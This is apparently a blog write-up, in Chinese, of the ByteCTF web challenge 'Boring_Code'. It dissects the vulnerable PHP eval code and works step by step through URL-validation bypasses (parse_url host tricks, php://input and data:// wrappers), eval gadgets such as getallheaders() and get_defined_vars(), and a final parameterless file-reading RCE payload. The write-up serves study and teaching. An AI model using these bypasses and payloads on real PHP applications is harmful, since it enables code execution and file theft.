一道CTF题目的探究

ByteCTF上遇到的一道Web题目,Boring_Code

访问:http://112.125.25.2:9999/code/

输出了代码:

<?php
function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if (isset($_POST['url'])){
    $url = $_POST['url'];
    if (is_valid_url($url)) {
        $r = parse_url($url);
        if (preg_match('/baidu\.com$/', $r['host'])) {
            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

0x01 filter_var函数

<?php
$url = $_POST['url'];

function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        return true;
    }
    return false;
}

if(is_valid_url($url)){
    echo 'success';
} else {
    echo 'fail';
}

那么filter_var($url, FILTER_VALIDATE_URL)判断符合格式的URL可以是怎样的呐?

只要是满足<中英数>://<中英数符号>,前一个可以包含符号 .


0x02 parse_url函数

parse_url函数是用于解析URL中的参数,包括host,port,参数等等

测试代码:

<?php

$url = $_POST['url'];

function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if(is_valid_url($url)){
    var_dump(parse_url($url));
} else {
    echo 'fail';
}

test

那么在第一部分,我们说到了filter_var()函数验证URL其实是不严谨的,那么在parse_url()这,会不会导致一些bypass呐?

通过@分割 userhost

bypass

改造一下:

<?php

$url = $_POST['url'];

function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if(is_valid_url($url)){
    $r = parse_url($url);
    if (preg_match('/baidu\.com$/', $r['host'])) {
        var_dump($r['host']);
        echo 'success';
    } else {
        echo 'Host必须包含以baidu.com结尾字符串';
    }

} else {
    echo 'fail';
}

success


0x03 file_get_contents函数

测试代码:

<?php

$url = $_GET['url'];

var_dump(file_get_contents($url));

使用php://input伪协议绕过

  • 将要GET的参数?xxx=php://input
  • 用post方法传入想要file_get_contents()函数返回的值

用data://伪协议绕过

  • 将url改为:?xxx=data://text/plain;base64,想要file_get_contents()函数返回的值的base64编码
  • 将url改为:?xxx=data:text/plain,(url编码的内容)

is_valid_url()函数中禁止了data://协议


0x04 绕过递归检测

题目中还有;的递归正则匹配

<?php

$url = $_POST['url'];

function is_valid_url($url) {
    if (filter_var($url, FILTER_VALIDATE_URL)) {
        if (preg_match('/data:\/\//i', $url)) {
            return false;
        }
        return true;
    }
    return false;
}

if(is_valid_url($url)){
    $r = parse_url($url);
    if (preg_match('/baidu\.com$/', $r['host'])) {
        $code = file_get_contents($url);
        var_dump($code);
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
            echo 'success';
        } else {
            echo '只能有一个;(分号)';
        }
    } else {
        echo 'Host必须包含以baidu.com结尾字符串';
    }

} else {
    echo 'fail';
}

这种正则匹配需要按照:function(function(function()));这样的格式,只能是函数形式,而且字母得小写,

可以通过两种方法绕过:

  • Apache环境:getallheaders()
  • Nginx环境:get_defined_vars()

例如:

<?php
// 只需要在数据包头加上相关例如:kk:phpinfo();就可以执行了
eval(next(getallheaders()));

// 只需要传递post或者get或者cookie参数,在对应传值即可
eval(reset(get_defined_vars()));

// 通过16进制编码传PHPSESSID值
eval(hex2bin(session_id(session_start())));

0x05 绕过关键词检测

if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
    echo 'bye~';
} else {
    echo 'success';
    eval($code);
}

如上代码,过滤了关键词et,那么含有get字符串的函数就不能用

所以使用session方式,hex也被过滤,那么看看php当中字符串的函数有哪些呐?

但是session相关的函数都有_,emmm~

尝试str_rot13()

然后参考了“PHP无参数RCE”一文

由于过滤太猛,所以尝试任意读取文件

函数 说明
getcwd() 获取当前工作目录
dirname() 返回去掉文件名后的目录名
scandir() 返回当前目录下的文件名+文件夹
chdir() 更改执行目录
end() 指向最后一个元素,并输出
readfile() 读取输出文件内容
next() 将内部指针指向数组中的下一个元素
arrary_reverse() 数组反转
localeconv() 返回一包含本地数字及货币格式信息的数组
current()pos() 返回数组中的当前单元, 默认取第一个值
hex2bin 转换十六进制字符串为二进制字符串

最后构造payload:

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));

参考文章

发表评论 / Comment

用心评论~

金玉良言 / Appraise
eeeee3LV 1
2019-11-03 20:23
if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));为什么能够绕过正则递归匹配?用在线匹配只能匹配到if(),后面的readfile()都没匹配到啊
DYBOY站长已认证
2019-09-19 10:09
补充:禁止了data://协议后,可以利用百度一个可以跳转的域名post.baidu.com或者买一个域名